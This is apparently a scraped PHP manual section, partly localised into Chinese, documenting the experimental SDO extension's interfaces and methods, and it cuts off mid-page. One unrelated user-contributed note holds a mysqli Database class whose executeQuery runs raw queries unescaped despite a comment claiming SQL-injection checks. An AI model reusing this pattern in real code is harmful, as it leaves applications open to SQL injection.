SDO consists of three sets of interfaces. The first set covers those interfaces for use by typical SDO applications. These are identified by the package prefix 'SDO_'. The second set is those used to reflect on, and work with, the model of a data object. These are identified by the package prefix 'SDO_Model_'. Finally, the third set are those use by Data Access Service implementations and are identified by the package prefix 'SDO_DAS_'. The majority of SDO users will not need to use or understand the 'SDO_Model_' and 'SDO_DAS_' interfaces.

SDO Application Programmer Interface

SDO_DataObject

The main interface through which data objects are manipulated. In addition to the methods below, SDO_DataObject extends the ArrayAccess, SDO_PropertyAccess (defines __get() / __set() methods for property access overloading), Iterator, and Countable interfaces.

方法

  • getSequence - get the sequence for the data object

  • createDataObject - create a child data object

  • clear - unset the properties of a data object

  • getContainer - get the container (also known as 'parent') of this data object

  • getTypeName - get the name of the type for this data object

  • getTypeNamespaceURI - get the namespace URI of the type for this data object

SDO_Sequence

The interface through which sequenced data objects can be accessed to preserve ordering across a data object's properties and to allow unstructured text. SDO_Sequence preserves contiguous indices and therefore inserting or removing elements may shift other elements up or down. In addition to the methods below, SDO_Sequence extends the ArrayAccess, Iterator and Countable interface.

方法

  • getProperty - get the property for a given sequence index

  • move - move an element from one property index to another

  • insert - insert a new value into the sequence

SDO_List

The interface through which many-valued properties are manipulated. In addition to the method defined below, SDO_List extends ArrayAccess, Iterator and Countable. SDO_List preserves contiguous indices and therefore inserting or removing elements may shift other elements up or down.

方法

  • insert - insert a new value into the list

SDO_DataFactory

The interface through which data objects can be created. A Data Access Service is responsible for populating the model (i.e. configuring the data factory with the type and structure information for the data objects it can create.) for the factory and can then optionally return an instance of, or implement, the SDO_DataFactory interface.

方法

  • create - create a new data object

SDO_Exception

An SDO_Exception is thrown when the caller's request cannot be completed. The subclasses of SDO_Exception are:

  • SDO_PropertyNotSetException - the property specified exists but has not been set or does not have a default value

  • SDO_PropertyNotFoundException - the property specified is not part of the data object's type

  • SDO_TypeNotFoundException - the specified namespace URI or type name is unknown

  • SDO_InvalidConversionException - conversion between the types of the assignment is not possible

  • SDO_IndexOutOfBoundsException - the numeric index into a data object, sequence or list is not in the valid range

  • SDO_UnsupportedOperationException - the request cannot be completed because it is not allowed, for example an attempt to set a read-only property.

方法

One method is added to those inherited from the built in Exception class:

  • getCause - get the cause of this SDO_Exception

SDO Reflection Application Programmer Interfaces

SDO_Model_ReflectionDataObject

The main interface used to reflect on a data object instance to obtain its model type and property information. It is designed to follow the reflection pattern introduced in PHP 5.

构造函数

  • __construct - construct a new SDO_Model_ReflectionDataObject.

方法

  • export - get a string describing the data object.

  • getType - get the SDO_Model_Type for the data object.

  • getInstanceProperties - get the instance properties of the data object.

  • getContainmentProperty - get the property which defines the containment relationship to the data object.

SDO_Model_Type

The interface through which a data object's type information can be retrieved. This interface can be used to find out the type name and namespace URI of the type, whether the type allow open content, and so on.

方法

  • getName - get the name of the type.

  • getNamespaceURI - get the namespace URI of the type.

  • isInstance - test for a data object being an instance of the type.

  • getProperties - get the properties of the type.

  • getProperty - get a property of the type.

  • isDataType - test to see if this type is a primitive scalar type.

  • isSequencedType - test to see if this is a sequenced type.

  • isOpenType - test to see if this is an open type.

  • isAbstractType - test to see if this is an abstract type.

  • getBaseType - get the base type of this type (if one exists).

SDO_Model_Property

The interface through which a data object's property information can be retrieved. This interface can be used to find out the type of a property, whether a property has a default value, whether the property is contained or reference by its parent, its cardinality, and so on.

方法

  • getName - get the name of the property.

  • getType - get the type of the property.

  • isMany - test to see if the property is many-valued.

  • isContainment - test to see if the property describes a containment relationship.

  • getContainingType - get the type which contains this property.

  • getDefault - get the default value for a property.

SDO Data Access Service Developer Interfaces

SDO_DAS_DataObject

The interface through which a Data Access Service can access a data object's SDO_DAS_ChangeSummary. The change summary is used by the Data Access Service to check for conflicts when applying changes back to a data source.

方法

  • getChangeSummary - get the change summary for a data object

SDO_DAS_ChangeSummary

The interface through which the change history of a data object is accessed. The change summary holds information for any modifications on a data object which occurred since logging was activated. In the case of deletions and modifications, the old values are also held in the change summary.

If logging is no longer active then the change summary only holds changes made up to the point when logging was deactivated. Reactivating logging clears the change summary. This is useful when a set of changes have been written out by a DAS and the data object is to be reused.

方法

  • beginLogging - begin logging changes made to a data object

  • endLogging - end logging changes made to a data object

  • isLogging - test to see if change logging is on

  • getChangedDataObjects - get a list of the data objects which have been changed

  • getChangeType - get the type of change which has been made to a data object

  • getOldValues - get a list of old values for a data object

  • getOldContainer - get the old container data object for a deleted data object

SDO_DAS_Setting

The interface through which the old value for a property is accessed. A list of settings is returned by the change summary method getOldValues.

方法

  • getPropertyIndex - get the property index for the changed property

  • getPropertyName - get the property name for the changed property

  • getValue - get the old value for the changed property

  • getListIndex - get the list index for the old value if it was part of a many-valued property

  • isSet - test to see if the property was set prior to being modified

SDO_DAS_DataFactory

The interface for constructing the model for an SDO_DataObject. The SDO_DAS_DataFactory is an abstract class providing a static method which returns a concrete data factory implementation. The implementation is used by Data Access Services to create an SDO model from their model. For example, a Relational Data Access Service might create and populate an SDO_DAS_DataFactory model based on a schema for a relational database.

方法

  • getDataFactory - static methods for getting a concrete data factory instance

  • addType - add a new type to the SDO model

  • addPropertyToType - add a new property to a type definition in the SDO model

Table of Contents

  • SDO_DAS_ChangeSummary::beginLogging — Begin change logging
  • SDO_DAS_ChangeSummary::endLogging — End change logging
  • SDO_DAS_ChangeSummary::getChangeType — Get the type of change made to an SDO_DataObject
  • SDO_DAS_ChangeSummary::getChangedDataObjects — Get the changed data objects from a change summary
  • SDO_DAS_ChangeSummary::getOldContainer — Get the old container for a deleted SDO_DataObject
  • SDO_DAS_ChangeSummary::getOldValues — Get the old values for a given changed SDO_DataObject
  • SDO_DAS_ChangeSummary::isLogging — Test to see whether change logging is switched on
  • SDO_DAS_DataFactory::addPropertyToType — Adds a property to a type
  • SDO_DAS_DataFactory::addType — Add a new type to a model
  • SDO_DAS_DataFactory::getDataFactory — Get a data factory instance
  • SDO_DAS_DataObject::getChangeSummary — Get a data object's change summary
  • SDO_DAS_Setting::getListIndex — Get the list index for a changed many-valued property
  • SDO_DAS_Setting::getPropertyIndex — Get the property index for a changed property
  • SDO_DAS_Setting::getPropertyName — Get the property name for a changed property
  • SDO_DAS_Setting::getValue — Get the old value for the changed property
  • SDO_DAS_Setting::isSet — Test whether a property was set prior to being modified
  • SDO_DataFactory::create — Create an SDO_DataObject
  • SDO_DataObject::clear — Clear an SDO_DataObject's properties
  • SDO_DataObject::createDataObject — Create a child SDO_DataObject
  • SDO_DataObject::getContainer — Get a data object's container
  • SDO_DataObject::getSequence — Get the sequence for a data object
  • SDO_DataObject::getTypeName — Return the name of the type for a data object
  • SDO_DataObject::getTypeNamespaceURI — Return the namespace URI of the type for a data object
  • SDO_Exception::getCause — Get the cause of the exception
  • SDO_List::insert — Insert into a list
  • SDO_Model_Property::getContainingType — Get the SDO_Model_Type which contains this property
  • SDO_Model_Property::getDefault — Get the default value for the property
  • SDO_Model_Property::getName — Get the name of the SDO_Model_Property
  • SDO_Model_Property::getType — Get the SDO_Model_Type of the property
  • SDO_Model_Property::isContainment — Test to see if the property defines a containment relationship
  • SDO_Model_Property::isMany — Test to see if the property is many-valued
  • SDO_Model_ReflectionDataObject::__construct — Construct an SDO_Model_ReflectionDataObject
  • SDO_Model_ReflectionDataObject::export — Get a string describing the SDO_DataObject
  • SDO_Model_ReflectionDataObject::getContainmentProperty — Get the property which defines the containment relationship to the data object
  • SDO_Model_ReflectionDataObject::getInstanceProperties — Get the instance properties of the SDO_DataObject
  • SDO_Model_ReflectionDataObject::getType — Get the SDO_Model_Type for the SDO_DataObject
  • SDO_Model_Type::getBaseType — Get the base type for this type
  • SDO_Model_Type::getName — Get the name of the type
  • SDO_Model_Type::getNamespaceURI — Get the namespace URI of the type
  • SDO_Model_Type::getProperties — Get the SDO_Model_Property objects defined for the type
  • SDO_Model_Type::getProperty — Get an SDO_Model_Property of the type
  • SDO_Model_Type::isAbstractType — Test to see if this SDO_Model_Type is an abstract data type
  • SDO_Model_Type::isDataType — Test to see if this SDO_Model_Type is a primitive data type
  • SDO_Model_Type::isInstance — Test for an SDO_DataObject being an instance of this SDO_Model_Type
  • SDO_Model_Type::isOpenType — Test to see if this type is an open type
  • SDO_Model_Type::isSequencedType — Test to see if this is a sequenced type
  • SDO_Sequence::getProperty — Return the property for the specified sequence index
  • SDO_Sequence::insert — Insert into a sequence
  • SDO_Sequence::move — Move an item to another sequence position

User Contributed Notes

ng4rrjanbiah at rediffmail dot com 17-Mar-2006 10:07
Some useful links on SDO:
1. Quick intro ( http://www.obalweb.net/wppro/?p=19 )
2. SDO for Zend Conf 2005 ( http://www.ibm.com/developerworks/forums/weblogs/data/SDOforZendConf2005.pdf ), Presentation, [481 KB], Graham Charters, 2005-10-18
3. Introducing Service Data Objects for PHP ( http://www.zend.com/pecl/tutorials/sdo.php ), 2005-08-05
4. Service Data Objects specification ( http://www.ibm.com/developerworks/library/specification/j-commonj-sdowmt/ ), 2003-2005

HTH,
R. Rajesh Jeba Anbiah


Begin change logging

  • ? SDO 函数
  • SDO_DAS_ChangeSummary::endLogging ?
  • PHP Manual
  • SDO 函数
  • Begin change logging

SDO_DAS_ChangeSummary::beginLogging

(^)

SDO_DAS_ChangeSummary::beginLogging — Begin change logging

说明

SDO_DAS_ChangeSummary::beginLogging ( void ) : void
Warning

此函数是实验性的。此函数的表象，包括名称及其相关文档都可能在未来的 PHP 发布版本中未通知就被修改。使用本函数风险自担 。

Begin logging changes made to the SDO_DataObject.

参数

None.

返回值

None.

User Contributed Notes

DAMNBOY 14-Jun-2018 10:05
<?php

/**
 * Created by PhpStorm.
 * User: Kibo
 * Date: 09-06-18
 * Time: 18:48
 */
class Database
{

    protected $url;
    protected $user;
    protected $passw;
    protected $db;
    protected $connection = null;

    public function __construct($url,$user,$passw,$db){
        $this->url = $url;
        $this->user = $user;
        $this->passw = $passw;
        $this->db = $db;
    }

    public function __destruct() {
        if ($this->connection != null) {
            $this->closeConnection();
        }
    }

    protected function makeConnection(){
        //Make a connection
        $this->connection = new mysqli($this->url,$this->user,$this->passw,$this->db);
        if ($this->connection->connect_error) {
            echo "FAIL:" . $this->connection->connect_error;
        }
    }

    protected function closeConnection() {
        //Close the DB connection
        if ($this->connection != null) {
            $this->connection->close();
            $this->connection = null;
        }
    }

    protected function cleanParameters($p) {
        //prevent SQL injection
        $result = $this->connection->real_escape_string($p);
        return $result;
    }

    public function executeQuery($q){

        //Is there a DB connection?
        $this->makeConnection();
        //check for SQL injection

        //execute query
        $results = $this->connection->query($q);

        return $results;

    }

}


End change logging

  • ? SDO_DAS_ChangeSummary::beginLogging
  • SDO_DAS_ChangeSummary::getChangeType ?
  • PHP Manual
  • SDO 函数
  • End change logging

SDO_DAS_ChangeSummary::endLogging

(^)

SDO_DAS_ChangeSummary::endLogging — End change logging

说明

SDO_DAS_ChangeSummary::endLogging ( void ) : void
Warning

此函数是实验性的。此函数的表象，包括名称及其相关文档都可能在未来的 PHP 发布版本中未通知就被修改。使用本函数风险自担 。

End logging changes made to an SDO_DataObject.

参数

None.

返回值

None.

User Contributed Notes

There are no user contributed notes for this page.


Get the type of change made to an SDO_DataObject

  • ? SDO_DAS_ChangeSummary::endLogging
  • SDO_DAS_ChangeSummary::getChangedDataObjects ?
  • PHP Manual
  • SDO 函数
  • Get the type of change made to an SDO_DataObject

SDO_DAS_ChangeSummary::getChangeType

(^)

SDO_DAS_ChangeSummary::getChangeType — Get the type of change made to an SDO_DataObject

说明

SDO_DAS_ChangeSummary::getChangeType ( SDO_DataObject $dataObject ) : int
Warning

此函数是实验性的。此函数的表象，包括名称及其相关文档都可能在未来的 PHP 发布版本中未通知就被修改。使用本函数风险自担 。

Get the type of change which has been made to the supplied SDO_DataObject.

参数

dataObject

The SDO_DataObject which has been changed.

返回值

The type of change which has been made. The change type is expressed as an enumeration and will be one of the following four values:

  • SDO_DAS_ChangeSummary::NONE

  • SDO_DAS_ChangeSummary::MODIFICATION

  • SDO_DAS_ChangeSummary::ADDITION

  • SDO_DAS_ChangeSummary::DELETION

User Contributed Notes

There are no user contributed notes for this page.


Get the changed data objects from a change summary

  • ? SDO_DAS_ChangeSummary::getChangeType
  • SDO_DAS_ChangeSummary::getOldContainer ?
  • PHP Manual
  • SDO 函数
  • Get the changed data objects from a change summary

SDO_DAS_ChangeSummary::getChangedDataObjects

(^)

SDO_DAS_ChangeSummary::getChangedDataObjects — Get the changed data objects from a change summary

说明

SDO_DAS_ChangeSummary::getChangedDataObjects ( void ) : SDO_List
Warning

此函数是实验性的。此函数的表象，包括名称及其相关文档都可能在未来的 PHP 发布版本中未通知就被修改。使用本函数风险自担 。

Get an SDO_List of the SDO_DataObjects which have been changed. These data objects can then be used to identify the types of change made to each, along with the old values.

参数

None.

返回值

Returns an SDO_List of SDO_DataObjects.

User Contributed Notes

There are no user contributed notes for this page.


Get the old container for a deleted SDO_DataObject

  • ? SDO_DAS_ChangeSummary::getChangedDataObjects
  • SDO_DAS_ChangeSummary::getOldValues ?
  • PHP Manual
  • SDO 函数
  • Get the old container for a deleted SDO_DataObject

SDO_DAS_ChangeSummary::getOldContainer

(^)

SDO_DAS_ChangeSummary::getOldContainer — Get the old container for a deleted SDO_DataObject

说明

SDO_DAS_ChangeSummary::getOldContainer ( SDO_DataObject $data_object ) : SDO_DataObject
Warning

此函数是实验性的。此函数的表象，包括名称及其相关文档都可能在未来的 PHP 发布版本中未通知就被修改。使用本函数风险自担 。

Get the old container (SDO_DataObject) for a deleted SDO_DataObject.

参数

data_object

The SDO_DataObject which has been deleted and whose container we wish to identify.

返回值

The old containing data object of the deleted SDO_DataObject.

User Contributed Notes

There are no user contributed notes for this page.


Get the old values for a given changed SDO_DataObject

  • ? SDO_DAS_ChangeSummary::getOldContainer
  • SDO_DAS_ChangeSummary::isLogging ?
  • PHP Manual
  • SDO 函数
  • Get the old values for a given changed SDO_DataObject

SDO_DAS_ChangeSummary::getOldValues

(^)

SDO_DAS_ChangeSummary::getOldValues — Get the old values for a given changed SDO_DataObject

说明

SDO_DAS_ChangeSummary::getOldValues ( SDO_DataObject $data_object ) : SDO_List
Warning

此函数是实验性的。此函数的表象，包括名称及其相关文档都可能在未来的 PHP 发布版本中未通知就被修改。使用本函数风险自担 。

Get a list of the old values for a given changed SDO_DataObject. Returns a list of SDO_DAS_Settings describing the old values for the changed properties of the SDO_DataObject.

参数

data_object

The data object which has been changed.

返回值

A list of SDO_DAS_Settings describing the old values for the changed properties of the SDO_DataObject. If the change type is SDO_DAS_ChangeSummary::ADDITION, this list is empty.

User Contributed Notes

There are no user contributed notes for this page.


Test to see whether change logging is switched on

  • ? SDO_DAS_ChangeSummary::getOldValues
  • SDO_DAS_DataFactory::addPropertyToType ?
  • PHP Manual
  • SDO 函数
  • Test to see whether change logging is switched on

SDO_DAS_ChangeSummary::isLogging

(^)

SDO_DAS_ChangeSummary::isLogging — Test to see whether change logging is switched on

说明

SDO_DAS_ChangeSummary::isLogging ( void ) : bool
Warning

此函数是实验性的。此函数的表象，包括名称及其相关文档都可能在未来的 PHP 发布版本中未通知就被修改。使用本函数风险自担 。

Test to see whether change logging is switched on.

参数

None.

返回值

Returns TRUE if change logging is on, otherwise returns FALSE.

User Contributed Notes

There are no user contributed notes for this page.


Adds a property to a type

  • ? SDO_DAS_ChangeSummary::isLogging
  • SDO_DAS_DataFactory::addType ?
  • PHP Manual
  • SDO 函数
  • Adds a property to a type

SDO_DAS_DataFactory::addPropertyToType

(^)

SDO_DAS_DataFactory::addPropertyToType — Adds a property to a type

说明

SDO_DAS_DataFactory::addPropertyToType ( string $parent_type_namespace_uri , string $parent_type_name , string $property_name , string $type_namespace_uri , string $type_name [, array $options ] ) : void
Warning

此函数是实验性的。此函数的表象，包括名称及其相关文档都可能在未来的 PHP 发布版本中未通知就被修改。使用本函数风险自担 。

Adds a property to a type. The type must already be known to the SDO_DAS_DataFactory (i.e. have been added using addType()). The property becomes a property of the type. This is how the graph model for the structure of an SDO_DataObject is built.

参数

parent_type_namespace_uri

The namespace URI for the parent type.

parent_type_name

The type name for the parent type.

property_name

The name by which the property will be known in the parent type.

type_namespace_uri

The namespace URI for the type of the property.

type_name

The type name for the type of the property

options

This array holds one or more key=>value pairs to set attribute values for the property. The optional keywords are:

many

A flag to say whether the property is many-valued. A value of 'true' adds the property as a many-valued property (default is 'false').

readOnly

A flag to say whether the property is read-only. A value of 'true' means the property value cannot be modified through the SDO application APIs (default is 'false').

containment

A flag to say whether the property is contained by the parent. A value of 'true' means the property is contained by the parent. A value of 'false' results in a non-containment reference (default is 'true'). This flag is only interpreted when adding properties which are data object types, otherwise it is ignored.

default

A default value for the property. Omitting this key means that the property does not have a default value. A property can only have a default value if it is a single-valued data type (primitive).

返回值

None.

更新日志

版本 | 说明
0.5.2 | Optional parameters many, readOnly, and containment deprecated in favour of the options array.

范例

Example #1 A SDO_DAS_DataFactory::addPropertyToType() example

The following adds an 'addressline' property to a Person type. The person type is identified by its namespace, 'PersonNS', and type name, 'PersonType'. The type of the 'addressline' property is a many-valued SDO data type (primitive) with namespace 'commonj.sdo' and type name 'String'.

<?php
  $df->addPropertyToType('PersonNS', 'PersonType',
    'addressline', 'commonj.sdo', 'String', array('many'=>true));
?>

User Contributed Notes

There are no user contributed notes for this page.


Add a new type to a model

  • ? SDO_DAS_DataFactory::addPropertyToType
  • SDO_DAS_DataFactory::getDataFactory ?
  • PHP Manual
  • SDO 函数
  • Add a new type to a model

SDO_DAS_DataFactory::addType

(^)

SDO_DAS_DataFactory::addType — Add a new type to a model

说明

SDO_DAS_DataFactory::addType ( string $type_namespace_uri , string $type_name [, array $options ] ) : void
Warning

此函数是实验性的。此函数的表象，包括名称及其相关文档都可能在未来的 PHP 发布版本中未通知就被修改。使用本函数风险自担 。

Add a new type to the SDO_DAS_DataFactory, defined by its namespace and type name. The type becomes part of the model of data objects that the data factory can create.

参数

type_namespace_uri

The namespace of the type.

type_name

The name of the type.

options

This array holds one or more key=>value pairs to set attribute values for the type. The optional keywords are:

open

A flag to say whether the type is open. An SDO_DataObject whose type is open can have properties added to them which are not described by the type. This capability is used to support working with XML documents whose schema support open content such as that described by an <xsd:any> element. The default value is 'false'.

sequenced

A flag to say whether the type is sequenced. Sequenced types can have the ordering across properties preserved and can contain unstructured text. The default value is 'false'. For more information on sequenced types see the section on Working with Sequenced Data Objects.

basetype

If specified, an array of namespace URI and type name strings for the type from which this type is derived. An example of the use of base types is when a type derived in an XML schema inherits from another type by using <extension base="...">.

返回值

None.

范例

Example #1 A SDO_DAS_DataFactory::addType() example

The following adds a new data object type of 'CompanyType' where that type belongs to the namespace 'CompanyNS'.

<?php
  $df->addType('CompanyNS', 'CompanyType');
?>

User Contributed Notes

There are no user contributed notes for this page.


Get a data factory instance

  • ? SDO_DAS_DataFactory::addType
  • SDO_DAS_DataObject::getChangeSummary ?
  • PHP Manual
  • SDO 函数
  • Get a data factory instance

SDO_DAS_DataFactory::getDataFactory

(^)

SDO_DAS_DataFactory::getDataFactory — Get a data factory instance

说明

SDO_DAS_DataFactory::getDataFactory ( void ) : SDO_DAS_DataFactory
Warning

此函数是实验性的。此函数的表象，包括名称及其相关文档都可能在未来的 PHP 发布版本中未通知就被修改。使用本函数风险自担 。

Static method to get an instance of an SDO_DAS_DataFactory. This instance is initially only configured with the basic SDO types. A Data Access Service is responsible for populating the data factory model and then allowing PHP applications to create SDOs based on the model through the SDO_DataFactory interface. PHP applications should always obtain a data factory from a configured Data Access Service, not through this interface.

参数

None.

返回值

Returns an SDO_DAS_DataFactory.

User Contributed Notes

There are no user contributed notes for this page.


Get a data object's change summary

  • ? SDO_DAS_DataFactory::getDataFactory
  • SDO_DAS_Setting::getListIndex ?
  • PHP Manual
  • SDO 函数
  • Get a data object's change summary

SDO_DAS_DataObject::getChangeSummary

(^)

SDO_DAS_DataObject::getChangeSummary — Get a data object's change summary

说明

SDO_DAS_DataObject::getChangeSummary ( void ) : SDO_DAS_ChangeSummary
Warning

此函数是实验性的。此函数的表象，包括名称及其相关文档都可能在未来的 PHP 发布版本中未通知就被修改。使用本函数风险自担 。

Get the SDO_DAS_ChangeSummary for an SDO_DAS_DataObject, or NULL if it does not have one.

参数

None.

返回值

Returns the SDO_DAS_ChangeSummary for an SDO_DAS_DataObject, or NULL if it does not have one.

User Contributed Notes

There are no user contributed notes for this page.


Get the list index for a changed many-valued property

  • ? SDO_DAS_DataObject::getChangeSummary
  • SDO_DAS_Setting::getPropertyIndex ?
  • PHP Manual
  • SDO 函数
  • Get the list index for a changed many-valued property

SDO_DAS_Setting::getListIndex

(^)

SDO_DAS_Setting::getListIndex — Get the list index for a changed many-valued property

说明

SDO_DAS_Setting::getListIndex ( void ) : int
Warning

此函数是实验性的。此函数的表象，包括名称及其相关文档都可能在未来的 PHP 发布版本中未通知就被修改。使用本函数风险自担 。

Get the list index for a modification made to an element of a many-valued property. For example, if we modified the third element of a many-valued property we could obtain an SDO_DAS_Setting from the change summary corresponding to that modification. A call to getListIndex() on that setting would return the value 2 (lists are indexed from zero).

参数

None.

返回值

The list index for the element of the many-valued property which has been changed.

User Contributed Notes

There are no user contributed notes for this page.


Get the property index for a changed property

  • ? SDO_DAS_Setting::getListIndex
  • SDO_DAS_Setting::getPropertyName ?
  • PHP Manual
  • SDO 函数
  • Get the property index for a changed property

SDO_DAS_Setting::getPropertyIndex

(^)

SDO_DAS_Setting::getPropertyIndex — Get the property index for a changed property

说明

SDO_DAS_Setting::getPropertyIndex ( void ) : int
Warning

此函数是实验性的。此函数的表象，包括名称及其相关文档都可能在未来的 PHP 发布版本中未通知就被修改。使用本函数风险自担 。

Returns the property index for the changed property. This index identifies the property which was modified in data object.

参数

None.

返回值

The property index for a changed property.

User Contributed Notes

There are no user contributed notes for this page.


Get the property name for a changed property

  • ? SDO_DAS_Setting::getPropertyIndex
  • SDO_DAS_Setting::getValue ?
  • PHP Manual
  • SDO 函数
  • Get the property name for a changed property

SDO_DAS_Setting::getPropertyName

(^)

SDO_DAS_Setting::getPropertyName — Get the property name for a changed property

说明

SDO_DAS_Setting::getPropertyName ( void ) : string
Warning

此函数是实验性的。此函数的表象，包括名称及其相关文档都可能在未来的 PHP 发布版本中未通知就被修改。使用本函数风险自担 。

Returns the property name for the changed property. This name identifies the property which was modified in data object.

参数

None.

返回值

The property name for a changed property.

User Contributed Notes

There are no user contributed notes for this page.


Get the old value for the changed property

  • ? SDO_DAS_Setting::getPropertyName
  • SDO_DAS_Setting::isSet ?
  • PHP Manual
  • SDO 函数
  • Get the old value for the changed property

SDO_DAS_Setting::getValue

(^)

SDO_DAS_Setting::getValue — Get the old value for the changed property

说明

SDO_DAS_Setting::getValue ( void ) : mixed
Warning

此函数是实验性的。此函数的表象，包括名称及其相关文档都可能在未来的 PHP 发布版本中未通知就被修改。使用本函数风险自担 。

Returns the old value for the changed property. This can be used by a Data Access Service when writing updates to a data source. The DAS uses the old value to detect conflicts by comparing it with the current value in the data source. If they do not match, then the data source has been updated since the data object was originally populated, and therefore writing any new updates risks compromising the integrity of the data.

参数

None.

返回值

Returns the old value of the changed property.

User Contributed Notes

There are no user contributed notes for this page.


Test whether a property was set prior to being modified

  • ? SDO_DAS_Setting::getValue
  • SDO_DataFactory::create ?
  • PHP Manual
  • SDO 函数
  • Test whether a property was set prior to being modified

SDO_DAS_Setting::isSet

(^)

SDO_DAS_Setting::isSet — Test whether a property was set prior to being modified

说明

SDO_DAS_Setting::isSet ( void ) : bool
Warning

此函数是实验性的。此函数的表象，包括名称及其相关文档都可能在未来的 PHP 发布版本中未通知就被修改。使用本函数风险自担 。

Test whether a property was set prior to being modified. If it was set prior to being modified then the SDO_DAS_Setting will also contain the old value.

参数

None.

返回值

Returns TRUE if the property was set prior to being modified, otherwise returns FALSE.

User Contributed Notes

There are no user contributed notes for this page.


Create an SDO_DataObject

  • ? SDO_DAS_Setting::isSet
  • SDO_DataObject::clear ?
  • PHP Manual
  • SDO 函数
  • Create an SDO_DataObject

SDO_DataFactory::create

(^)

SDO_DataFactory::create — Create an SDO_DataObject

说明

SDO_DataFactory::create ( string $type_namespace_uri , string $type_name ) : void
Warning

此函数是实验性的。此函数的表象，包括名称及其相关文档都可能在未来的 PHP 发布版本中未通知就被修改。使用本函数风险自担 。

Create a new SDO_DataObject given the data object's namespace URI and type name.

参数

type_namespace_uri

The namespace of the type.

type_name

The name of the type.

返回值

Returns the newly created SDO_DataObject.

错误／异常

SDO_TypeNotFoundException

Thrown if the namespaceURI and typeName do not correspond to a type known to this data factory.

User Contributed Notes

There are no user contributed notes for this page.


Clear an SDO_DataObject's properties

  • ? SDO_DataFactory::create
  • SDO_DataObject::createDataObject ?
  • PHP Manual
  • SDO 函数
  • Clear an SDO_DataObject's properties

SDO_DataObject::clear

(^)

SDO_DataObject::clear — Clear an SDO_DataObject's properties

说明

SDO_DataObject::clear ( void ) : void
Warning

此函数是实验性的。此函数的表象，包括名称及其相关文档都可能在未来的 PHP 发布版本中未通知就被修改。使用本函数风险自担 。

Clear an SDO_DataObject's properties. Read-only properties are unaffected. Subsequent calls to isset() for the data object will return FALSE.

参数

None.

返回值

No return values.

User Contributed Notes

There are no user contributed notes for this page.


Create a child SDO_DataObject

  • ? SDO_DataObject::clear
  • SDO_DataObject::getContainer ?
  • PHP Manual
  • SDO 函数
  • Create a child SDO_DataObject

SDO_DataObject::createDataObject

(^)

SDO_DataObject::createDataObject — Create a child SDO_DataObject

说明

SDO_DataObject::createDataObject ( mixed $identifier ) : SDO_DataObject
Warning

此函数是实验性的。此函数的表象，包括名称及其相关文档都可能在未来的 PHP 发布版本中未通知就被修改。使用本函数风险自担 。

Create a child SDO_DataObject of the default type for the property identified. The data object is automatically inserted into the tree and a reference to it is returned.

参数

identifier

Identifies the property for the data object type to be created. Can be either a property name (string), a property index (int), or an SDO_Model_Property.

返回值

Returns the newly created SDO_DataObject.

错误／异常

SDO_PropertyNotFoundException

Thrown if the identifier does not correspond to a property of the data object.

User Contributed Notes

There are no user contributed notes for this page.


Get a data object's container

  • ? SDO_DataObject::createDataObject
  • SDO_DataObject::getSequence ?
  • PHP Manual
  • SDO 函数
  • Get a data object's container

SDO_DataObject::getContainer

(^)

SDO_DataObject::getContainer — Get a data object's container

说明

SDO_DataObject::getContainer ( void ) : SDO_DataObject
Warning

此函数是实验性的。此函数的表象，包括名称及其相关文档都可能在未来的 PHP 发布版本中未通知就被修改。使用本函数风险自担 。

Get the data object which contains this data object.

参数

None.

返回值

Returns the SDO_DataObject which contains this SDO_DataObject, or returns NULL if this is a root SDO_DataObject (i.e. it has no container).

User Contributed Notes

There are no user contributed notes for this page.


Get the sequence for a data object

  • ? SDO_DataObject::getContainer
  • SDO_DataObject::getTypeName ?
  • PHP Manual
  • SDO 函数
  • Get the sequence for a data object

SDO_DataObject::getSequence

(^)

SDO_DataObject::getSequence — Get the sequence for a data object

说明

SDO_DataObject::getSequence ( void ) : SDO_Sequence
Warning

此函数是实验性的。此函数的表象，包括名称及其相关文档都可能在未来的 PHP 发布版本中未通知就被修改。使用本函数风险自担 。

Return the SDO_Sequence for this SDO_DataObject. Accessing the SDO_DataObject through the SDO_Sequence interface acts on the same SDO_DataObject instance data, but preserves ordering across properties.

参数

None.

返回值

The SDO_Sequence for this SDO_DataObject, or returns NULL if the SDO_DataObject is not of a type which can have a sequence.

User Contributed Notes

There are no user contributed notes for this page.


Return the name of the type for a data object

  • ? SDO_DataObject::getSequence
  • SDO_DataObject::getTypeNamespaceURI ?
  • PHP Manual
  • SDO 函数
  • Return the name of the type for a data object

SDO_DataObject::getTypeName

(^)

SDO_DataObject::getTypeName — Return the name of the type for a data object

说明

SDO_DataObject::getTypeName ( void ) : string
Warning

此函数是实验性的。此函数的表象，包括名称及其相关文档都可能在未来的 PHP 发布版本中未通知就被修改。使用本函数风险自担 。

Return the name of the type for a data object. A convenience method corresponding to SDO_Model_ReflectionDataObject::getType().getName().

参数

None.

返回值

The name of the type for the data object.

User Contributed Notes

There are no user contributed notes for this page.


Return the namespace URI of the type for a data object

  • ? SDO_DataObject::getTypeName
  • SDO_Exception::getCause ?
  • PHP Manual
  • SDO 函数
  • Return the namespace URI of the type for a data object

SDO_DataObject::getTypeNamespaceURI

(^)

SDO_DataObject::getTypeNamespaceURI — Return the namespace URI of the type for a data object

说明

SDO_DataObject::getTypeNamespaceURI ( void ) : string
Warning

此函数是实验性的。此函数的表象，包括名称及其相关文档都可能在未来的 PHP 发布版本中未通知就被修改。使用本函数风险自担 。

Return the namespace URI of the type for a data object. A convenience method corresponding to SDO_Model_ReflectionDataObject::getType().getNamespaceURI().

参数

None.

返回值

The namespace URI of the type for the data object.

User Contributed Notes

There are no user contributed notes for this page.


Get the cause of the exception

  • ? SDO_DataObject::getTypeNamespaceURI
  • SDO_List::insert ?
  • PHP Manual
  • SDO 函数
  • Get the cause of the exception

SDO_Exception::getCause

(^)

SDO_Exception::getCause — Get the cause of the exception

说明

SDO_Exception::getCause ( void ) : mixed
Warning

此函数是实验性的。此函数的表象，包括名称及其相关文档都可能在未来的 PHP 发布版本中未通知就被修改。使用本函数风险自担 。

Returns the cause of this exception or NULL if the cause is nonexistent or unknown. Typically the cause will be an SDO_CPPException object, which may be used to obtain additional diagnostic information.

参数

None.

返回值

Returns the cause of this exception or NULL if the cause is nonexistent or unknown.

User Contributed Notes

There are no user contributed notes for this page.


Insert into a list

  • ? SDO_Exception::getCause
  • SDO_Model_Property::getContainingType ?
  • PHP Manual
  • SDO 函数
  • Insert into a list

SDO_List::insert

(^)

SDO_List::insert — Insert into a list

说明

SDO_List::insert ( mixed $value [, int $index ] ) : void
Warning

此函数是实验性的。此函数的表象，包括名称及其相关文档都可能在未来的 PHP 发布版本中未通知就被修改。使用本函数风险自担 。

